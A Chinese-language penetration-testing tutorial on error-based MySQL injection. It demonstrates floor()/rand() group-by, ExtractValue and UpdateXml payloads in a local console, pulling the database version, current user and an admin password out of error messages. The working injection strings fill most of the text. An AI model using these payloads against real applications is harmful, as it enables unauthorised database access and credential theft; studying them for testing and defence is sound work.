在MySQL注入实战中,报错注入是一项经典且高效的数据提取技术。它利用数据库执行特定SQL语句时产生的错误信息,将目标数据隐藏在报错文本中返回。下面整理了三种最常见的报错注入手法:基于floor()的报错、ExtractValue函数以及UpdateXml函数,每一步都配有实际测试过程,便于理解和验证。
1. 利用floor()函数报错注入
这种方式的原理是利用`count(*)`、`floor(rand(0)*2)`与`group by`组合时产生的键值重复错误,从而在错误信息中泄露目标数据。常见的利用代码有以下两类:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
先看一个正常查询作为对照:
mysql> select * from article where id = 1;
+---+-------+---------+
| id | title | content |
+---+-------+---------+
| 1 | test | do it |
+---+-------+---------+
假如id参数存在注入点,我们可以通过下面这条语句触发报错:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
从返回的错误信息中可以看到,MySQL版本号已被成功提取出来。若要获取其他数据,只需将version()替换为目标查询即可。例如,想获取管理员用户名和密码:
方法一:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
方法二:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
两种方法都能成功获取到密码admin888。
2. 利用ExtractValue函数报错注入
ExtractValue函数原本用于解析XML文档,但当第二个参数不是有效的XPath表达式时,会抛出XPATH语法错误,并将该参数的内容显示在错误信息中。测试语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程:
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
在错误信息中,反斜杠后面紧跟的就是我们想要的数据——密码admin888。
3. 利用UpdateXml函数报错注入
UpdateXml与ExtractValue类似,同样基于XPATH解析错误来泄露数据。测试语句:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程:
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1));
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
错误信息中冒号后面出现了当前数据库用户root@localhost。
这三种报错注入方式在实际渗透测试中非常实用,熟练掌握后可以快速从数据库中提取关键信息。
